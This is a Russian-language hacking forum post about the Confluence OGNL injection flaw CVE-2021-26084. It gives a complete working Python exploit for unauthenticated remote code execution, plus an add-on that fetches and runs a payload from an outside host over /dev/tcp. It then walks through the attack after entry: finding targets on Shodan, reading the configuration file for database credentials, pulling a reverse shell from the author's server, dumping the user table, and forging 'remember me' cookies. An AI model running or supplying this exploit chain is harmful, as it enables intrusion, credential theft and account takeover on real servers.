Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
Приветствую, гостей форума protey.net.
Теперь по порядку:
- Confluence — тиражируемая вики-система для внутреннего использования организациями с целью создания единой базы знаний. Написана на Java. Разрабатывается австралийской компанией Atlassian, является одним из двух её основных продуктов (наряду с системой отслеживания ошибок Jira). Распространяется под проприетарной лицензией, бесплатна для некоммерческих организаций и открытых проектов.
- С версии 4.0 не поддерживает вики-разметку встроенными механизмами, но делает это с января 2013 года с помощью плагинов.
Уязвимость CVE-2021-26084:
- CVE-2021-26084 — это уязвимость Confluence, возникшая из-за использования языка Object-Graph Navigation Language (OGNL) в системе тегов. Уязвимость позволяет произвести инъекцию кода на OGNL и таким образом исполнить произвольный код на машинах, где развернут Confluence Server или Confluence Data Center, причем в некоторых случаях эксплуатировать ее может даже неаутентифицированный пользователь (в том случае, если в Confluence включена опция Allow people to sign up to create their account).
- Atlassian оценивает эту уязвимость как критическую: по системе CVSS ей присвоен рейтинг 9,8. К тому же в Интернете уже появилось несколько демонстраций использования этой уязвимости, в том числе и вариант, допускающий удаленное исполнение кода (RCE).
- С перечнем уязвимых версий у Atlassian достаточно сложно — клиенты используют Confluence разных версий и зачастую не спешат переходить на самую свежую (зачем, если и так все работает). Согласно официальному описанию, выпущены обновления для версий 6.13.23, 7.4.11, 7.11.6, 7.12.5 и 7.13.0. Соответственно, CVE-2021-26084 все еще можно проэксплуатировать в версиях, предшествующих 6.13.23, а также версиях начиная с 6.14.0 и до 7.4.11, с 7.5.0 до 7.11.6, с 7.12.0 до 7.12.5. Пользователей Confluence Cloud проблема не затрагивает.
В сети уже давно можно найти опубликованные эксплойты, которые наглядно показывают результат данной уязвимости, в этой статье, я продемонстирую один из таких, с небольшими модификациями, с которыми вы можете поработать на досуге самостоятельно.
Исходный код эксплойта:
Code:
#!/usr/bin/python3
# Exploit Title: Confluence Server Webwork OGNL injection (PreAuth-RCE)
# Google Dork: N/A
# Date: 09/01/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084
# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
import requests
import optparse
from bs4 import BeautifulSoup
import optparse
from requests.packages import urllib3
urllib3.disable_warnings()
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x", default="/pages/createpage-entervariables.action?SpaceKey=x")
options, args = parser.parse_args()
session = requests.Session()
url_vuln = options.url
endpoint = options.path
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()
def banner():
print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')
def cmdExec():
while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)
soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)
banner()
cmdExec()
Чтобы немного расширить его функционал можно добавить следующие конструкции к исходному коду:
Кодирование символов в Unicode:
Code:
def send(cmd):
cmd = cmd.replace('\\', '\\\\u005c')
cmd = cmd.replace('"', '\\\\u0022')
cmd = cmd.replace('\'', '\\\\u0027')
cmd = cmd.replace('>', '\\\\u003e')
cmd = cmd.replace('<', '\\\\u003c')
cmd = cmd.replace('$', '\\\\u0024')
cmd = cmd.replace('/', '\\\\u002f')
cmd = cmd.replace('&', '\\\\u0026')
cmd = cmd.replace('^', '\\\\u005e')
Возможность загрузить постэксплуатационную полезную нагрузку и управлять ей:
Code:
def sendFile(destination):
if destination and destination[-1] != '/': destination = destination + '/'
result = send(f"echo \"_get () \" > {destination}ldl.sh")
print(result)
result = send(f"echo \" {{ \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" exec 3< /dev/tcp/{HOST}/{PORT} \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" {{ \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" echo GET /{QUERY} HTTP/1.1 \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" echo connection: close \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" echo host: {HOST} \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" echo \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" }} >&3 \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \" sed '1,7d' <&3 > {destination}\\$(basename {QUERY}) \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \"}} \" >> {destination}ldl.sh")
print(result)
result = send(f"echo \"_get \" >> {destination}ldl.sh")
print(result)
result = send(f"bash {destination}ldl.sh")
print(result)
result = send(f"chmod +x {destination}cron")
print(result)
if destination[0] != '/': destination = '.'+destination
if not destination: destination = './'
result = send(f"{destination}cron")
print(result)
def cmdExec():
while True:
cmd = input('> ')
if 'Khepri!' in cmd:
print("Sending Khepri!")
arr = cmd.split()
if len(arr) == 2:
path = arr[1]
else:
path = ''
sendFile(path)
continue
print(cmd)
result = send(cmd)
print(result)
Когда эксплоит будет готов, можно переходить непосредственно к его использованию. В данной статье, я не "прикручиваю" дополнительный функционал к эксплойту, т.к. мне достаточно его базового функционала.
Для наглядности, посмотрим, сколько Confluence серверов можно обнаружить на данный момент в сети по версии Shodan:
Code:
https://www.shodan.io/search?query=x-confluence
Убеждаемся, что всё происходит в рамках закона, и запускаем эксплойт со слебующими параметрами:
Code:
python3 Confluence_OGNLInjection.py -u https://jira.vulnserver.ru/confluence/ -p /pages/createpage-entervariables.action?SpaceKey=x
Примечание:
- Как правило в confluence хранятся достаточно конфиденциальные данные, конфиги VPN, карты сети, административные учетные записи, личные данные сотрудников и т.д. Изучив эти данные мы можем начать наше продвижение внуть сети компании, оставив локальное повышение привилегий на потом.
Что для этого необходимо сделать?
- Изучаем содержимое конфигурационного файла, чтобы получить доступ к базе данных.
Code:
cat /var/atlassian/application-data/confluence/confluence.cfg.xml
Содержится вся необходимая информация.
Теперь, логичным шагом будет получение обратного шелла, т.к. шелл данного эксплойта не позволит работать с базой данных, ввиду наличия у него многих ограничений.
Делаем это любым удобным способом, я предпочитаю загружать с своего VPS предварительно скомпилированную полезную нагрузку на C, с помощью wget.
Далее подключаемся к базе данных Confluence используя полученные ранее учетные данные:
Code:
/usr/bin/psql -h 192.168.1.1 -p 5432 -d confldb -U confldbuser
Учетные данные пользователей хранятся в таблице cwd_user, но брутить их большого смысла нет.
Примечание:
- Хэш имеет реализацию на основе PBKDF2, используемого Atlassian в Jira и других продуктах.
Code:
remembermetoken
- Confluence использует Seraph, платформу с открытым исходным кодом, для аутентификации файлов cookie HTTP. Confluence использует два типа файлов cookie для аутентификации пользователя:
- Файл cookie JSESSIONID создается сервером приложений и используется для отслеживания сеансов. Этот файл cookie содержит случайную строку, и срок его действия истекает в конце каждого сеанса или при закрытии браузера. Этот файл cookie игнорируется при кластеризации Confluence.
- Файл cookie «remember me», seraph.confluence, создается Confluence, когда пользователь устанавливает флажок «Запомнить меня» на странице входа. Функция «Запомнить меня» применяется по умолчанию, когда Confluence кластеризуется.
Проверяем содержимое таблицы:
Короткий путь:
- Если лень подключаться к таблице и интерактивном режиме, или не получилось пробросить обратный шелл, рекомендую этот однострочник, чтобы отправить содержимое таблицы в файл:
Code:
usr/bin/psql "host=127.0.0.1 port=5432 dbname=confluence user=confluenceuser password=qwerty123" -c 'SELECT * FROM cwd_user;' > 123.txt
Code:
id + ": в URL" + token
Code:
24936504%3Ae79d5ca14b7e80c35adcdbdf3b37982da2897787
Code:
seraph.confluence
Happy Hacking, специально для protey.net
Last edited: